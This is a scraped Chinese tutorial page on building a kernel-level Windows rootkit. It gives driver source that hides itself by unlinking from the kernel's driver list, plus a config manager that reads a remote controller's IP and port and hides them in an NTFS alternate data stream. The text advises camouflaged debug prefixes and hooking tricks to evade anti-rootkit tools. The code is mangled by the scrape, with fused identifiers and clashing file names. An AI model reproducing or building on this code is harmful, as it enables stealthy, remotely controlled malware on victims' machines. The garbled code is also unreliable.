内核级Rootkit 教程Word格式文档下载.docx
- 文档编号:19417401
- 上传时间:2023-01-06
- 格式:DOCX
- 页数:19
- 大小:47.73KB
内核级Rootkit 教程Word格式文档下载.docx
《内核级Rootkit 教程Word格式文档下载.docx》由会员分享,可在线阅读,更多相关《内核级Rootkit 教程Word格式文档下载.docx(19页珍藏版)》请在冰豆网上搜索。
unknown4;
unknown5;
unknown6;
unknown7;
UNICODE_STRINGpath;
UNICODE_STRINGname;
}DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。
但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。
因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:
双字类型,它实际上是一个无符号长整型。
此外,DRIVER_DATA是Windows操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。
而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
//Invisible
#include"
ntddk.h"
Invisible.h"
fileManager.h"
configManager.h"
//全局变量
ULONGmajorVersion;
ULONGminorVersion;
//当进行freebuild时,将其注释掉,以防被检测到
VOIDOnUnload(INPDRIVER_OBJECTpDriverObject)
DbgPrint("
comint16:
OnUnloadcalled."
);
}
NTSTATUSDriverEntry(INPDRIVER_OBJECTpDriverObject,INPUNICODE_STRING
theRegistryPath)
DRIVER_DATA*driverData;
//取得操作系统的版本
PsGetVersion(&
majorVersion,&
minorVersion,NULL,NULL);
//Major=4:
WindowsNT4.0,WindowsMe,Windows98或Windows95
//Major=5:
WindowsServer2003,WindowsXP或Windows2000
//Minor=0:
Windows2000,WindowsNT4.0或Windows95
//Minor=1:
WindowsXP
//Minor=2:
WindowsServer2003
if(majorVersion==5&
&
minorVersion==2)
DbgPrint("
RunningonWindows2003"
elseif(majorVersion==5&
minorVersion==1)
RunningonWindowsXP"
minorVersion==0)
RunningonWindows2000"
elseif(majorVersion==4&
RunningonWindowsNT4.0"
else
Runningonunknownsystem"
//隐藏该驱动程序
driverData=*((DRIVER_DATA**)((DWORD)pDriverObject+20));
if(driverData!
=NULL)
//将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData->
listEntry.Blink)=(DWORD)driverData->
listEntry.Flink;
driverData->
listEntry.Flink->
Blink=driverData->
listEntry.Blink;
//允许卸载本驱动程序
pDriverObject->
DriverUnload=OnUnload;
//为本Rootkit的控制器配置连接
if(!
NT_SUCCESS(Configure()))
Couldnotconfigureremoteconnection.\n"
returnSTATUS_UNSUCCESSFUL;
returnSTATUS_SUCCESS;
Invisible.c是该rootkit的主体结构,其中包括入口函数DriverEntry和卸载函数OnUnload。
操作系统加载该驱动程序时将调用入口函数。
我们看到,在传递给入口函数的参数中有一个是DRIVER_OBJECT,它的作用是给出跟该驱动程序通信时所调用的函数的映射表。
就本例而言,我们仅仅映射了一个函数pDriverObject-〉DriverUnload,这样以来,当卸载驱动程序时,操作系统调用onunload函数就可行了。
需要特别说明的是,这一点在rootkit开发过程中特别实用,不用重启系统就可以卸载驱动程序,但是它却带来了一个大问题:
容易被发现,所以在隐蔽性要求较高时不能使用,我们已经在源代码的相应部分给出了注释。
下面我们看一下该rootkit如何实现隐形。
我们将隐藏设备驱动程序的代码摘录如下:
为了达到不让操作系统找到我们的rootkit设备驱动程序的目的,这段代码修改了系统内核中的一个内部数据结构。
系统中有一个双向链表,专门记录当前运行着的驱动程序,也就是说每个运行的驱动程序在该链表中都有一个对应的表项。
像drivers.exe之类的应用程序,正是通过该链表来获取设备驱动程序信息的,换句话说,如果从该链表中摘除本rootkit对应的表项,就能隐藏该rootkit的存在,从而躲过大多数的检测。
具体如下图所示:
javascript:
if(this.width>
500)this.width=500"
border=0>
图1
修改前的驱动程序链表
图2
修改后的驱动程序链表
细心的读者也许会问:
能藏起来固然是好,不过系统若仅通过该链表来感知驱动程序的存在的话,我们的这样做岂不是自己把rootkit给干掉了?
!
的幸运的是,Windows操作系统的内核使用另一个表来给各运行中的驱动程序分配时间,所以,即使从设备驱动程序列表清除rootkit相应的表项,我们的rootkit也照样活得很自在。
利用该技术隐匿rootkit时,必须注意一点:
如果已在我们的rootkit之前安装了anti-rootkit软件,“清除一个设备驱动程序表项”这一行为本身有可能被发觉,从而引起人们的注意。
读者会问:
这该怎么办呢?
答案是,先记下本rootkit所对应的设备驱动程序表项的地址,然后钩住钩住检查设备驱动程序链表的内核函数,当这个函数要检查该链表时,我们就有机会提前把保存的表项放回到设备驱动程序链表。
当检查过后,再将该表项摘除。
这样,在rootkit检测程序看来,没有人在设备驱动程序链表做手脚:
反Rootkit软件被我们忽悠了。
不过该技术较为复杂,超出了本文的讨论范围,有机会我们会专文讲解。
您可能已经注意到,在Invisible.c中很多地方都使用了调试语句。
事实上,DbgPrint语句基本上可以在rootkit中随意放置。
在本例中,我们使用DbgPrint语句用来监视驱动程序的装卸和错误状态。
不过该语句的输出不会直接显示到标准输出设备即显示器上,只有在DebugView程序的帮助下,我们才可以查看这些语句的输出。
除DebugView程序外,内核程序调试工具也可以达此目的。
另外,我们的调试语句还有一个特点,它们都以comint32开头,这样做一方面是用以区别其他程序的调试语句的输出。
另一方面利用comint32这个词是为了掩人耳目,因为这个词很难让人跟rootkit联系到一块。
三、配置管理器
我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。
比如,如果需要对其进行远程控制的话,就需要配置相应的连接。
所以,我们还需要一个配置管理器,来完成配置rootkit的工作。
下面是Rootkit配置管理器的头文件:
//configManager.h
//配置管理器的头文件
#ifndef_CONFIG_MANAGER_H_
#define_CONFIG_MANAGER_H_
Char
masterPort[10];
masterAddress1[4];
masterAddress2[4];
masterAddress3[4];
masterAddress4[4];
NTSTATUSConfigure();
我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。
最后声明了一个函数。
接下来,我们看一下配置管理器的源代码:
//configManager.c
//首先从c:
\config16寻找配置文件
//Ifit'
sthere,saveasMASTER_FILE:
config16anddeletec:
\config16
snotthere,tryMASTER_FILE:
configFile
//Ifthatdoesn'
texist,quit!
//SetthecontrollersIPandport
NTSTATUSConfigure()
CHARdata[21];
SHORTvis=0;
SHORTloop;
SHORTdataIndex;
SHORTaddressIndex;
ULONGfileSize;
PHANDLEfileHandle;
//了解读哪个文件
if(NT_SUCCESS(GetFile(L"
\\?
?
\\C:
\\config16"
data,21,&
fileSize)))
Readingconfigfromvisiblefile."
vis=1;
if(NT_SUCCESS(GetFile(L"
config16"
{
Readingconfigfromhiddenfile."
}
else
Error.Couldnotfindaconfigfile."
returnSTATUS_UNSUCCESSFUL;
//将控制端地址和端口转换成aaa.bbb.ccc.ddd:
eeeee格式
dataIndex=0;
addressIndex=0;
//First3arexxxofxxx.111.111.111:
11111
for(loop=0;
loop<
3;
loop++)
masterAddress1[addressIndex++]=data[dataIndex++];
masterAddress1[addressIndex]=0;
//复位
dataIndex++;
//跳过点号“.”
//接下来是111.xxx.111.111:
11111中的xxx
masterAddress2[addressIndex++]=data[dataIndex++];
masterAddress2[addressIndex]=0;
//然后处理111.111.xxx.111:
masterAddress3[addressIndex++]=data[dataIndex++];
masterAddress3[addressIndex]=0;
//然后处理111.111.111.xxx:
masterAddress4[addressIndex++]=data[dataIndex++];
masterAddress4[addressIndex]=0;
//跳过冒号“:
”
//接下来的五位数是111.111.111.111:
xxxxx中的端口号xxxxx
5;
masterPort[addressIndex++]=data[dataIndex++];
masterPort[addressIndex]=0;
DbgPrint("
Using%s.%s.%s.%s:
%s"
masterAddress1,
masterAddress2,
masterAddress3,
masterAddress4,
masterPort);
if(vis==1)
Savingconfigtohiddenfile."
PutFile(L"
data,fileSize);
Youmaydeletethevisiblefile."
以上是配置管理器的源代码。
该配置管理器的作用很明显,就是从一个文件中读取17个字符。
不过存放这些字符的文件的位置反倒有点复杂:
当我们第一次安装rootkit时,该配置文件必须位于c:
\config32,如果配置文件不在这里,rootkit会安静地“结束”;
当rootkit激活后,它会把这个配置文件以交换数据流(ADS)形式隐藏起来。
上面提到了用交换数据流来隐藏文件。
也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。
四、交换数据流
利用Windows提供的交换数据流功能,我们可以在不影响文件及其大小的情况下,捎带其他一些东西,如图标等。
想当初,微软公司将此功能添加至Windows操作系统的初衷并非向用户提供一种隐藏文件的把戏,但它的确有这种功效:
我们正好可以利用它为配置文件提供藏身之所。
其实,该方法不仅适用于文件,同样也是用于目录,因为目录也是文件的一种。
与其把配置文件附着在一个“惹眼”的系统文件上,倒不如将其挂在一个不起眼的目录上,后者的保险系数更高一些。
为了让读者感性地认识一下交换数据流,您可以亲自在DOS命令提示符下做个小实验。
首先,建立一个文件,并将其命名为test.txt,保存,然后看一下该文件的大小。
现在,在DOS提示符下键入以下命令:
echonihao>
test.txt:
alternate.txt
该命令给test.txt文件添加一个交换数据流,该数据流的名称为test.txt:
alternate.txt,内容为nihao。
如果用dir命令来检查的话,我们只看到test.txt文件,并且其大小依旧不变。
不过,我们在DOS提示符下键入以下命令
notepadtest.txt:
就能看到交换数据流的内容了。
这个实验并不复杂,建议读者动手做一下。
需要说明的是,它不适用于FAT文件系统,在NTFS文件系统下才奏效。
好了,现在看看我们需要隐藏的配置的具体格式,如下所示:
XXX.XXX.XXX.XXX:
YYYYY
其中,XXX.XXX.XXX.XXX代表控制端的IP地址,由十二个阿拉伯数字组成;
YYYYY表示控制端所侦听的端口号,由五位阿拉伯数字组成。
该配置最初存放在文件c:
\config16中,一旦rootkit运行一次之后,它读取该配置,将其挂靠到目录C:
\WINDOWS\Resources上以交换数据流文件(C:
\WINDOWS\Resources:
config16)的形式存放,并将原来的文件c:
\config16删除。
也就是说,以rootkit初次运行为分水岭,之前,配置位于c:
\config16文件中;
之后,位于C:
config16文件中。
同样,以rootkit初次运行为分水岭,第一次运行时,rootkit从c:
\config16文件读取配置;
之后,从C:
config16文件中读取配置。
至于数据流所挂靠的目录,如C:
\WINDOWS\Resources在fileManager.h文件中加以定义。
虽然使用硬编码的路径即在代码中直接给出目录名如C:
\WINDOWS比较直接,但是需要考虑健壮性的时候,在给rootkit指定隐藏文件的位置时,通过操作系统来查找%WINDOWS%目录更为稳妥。
上面介绍了配置文件的格式和对配置文件的处理,不过具体工作都是由软件代劳的。
完成这部分工作的软件我们称其为文件管理器。
这里是我们的文件管理器的头文件,源代码如下所示:
//fileManager.h
#ifndef_FILE_MANAGER_H_
#define_FILE_MANAGER_H_
//尽管微软的文档没有提及,但是NTFS-ADS还能用于目录。
//为了防止rootkit被一网打尽,黑客通常不会一个目录用到底,而是打一枪换一个地方
#defineMASTER_FILEL"
\\WINDOWS\\Resources"
NTSTATUSGetFile(WCHAR*filename,CHAR*buffer,ULONGbuffersize,PULONG
fileSizePtr);
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 内核级Rootkit 教程 内核 Rootkit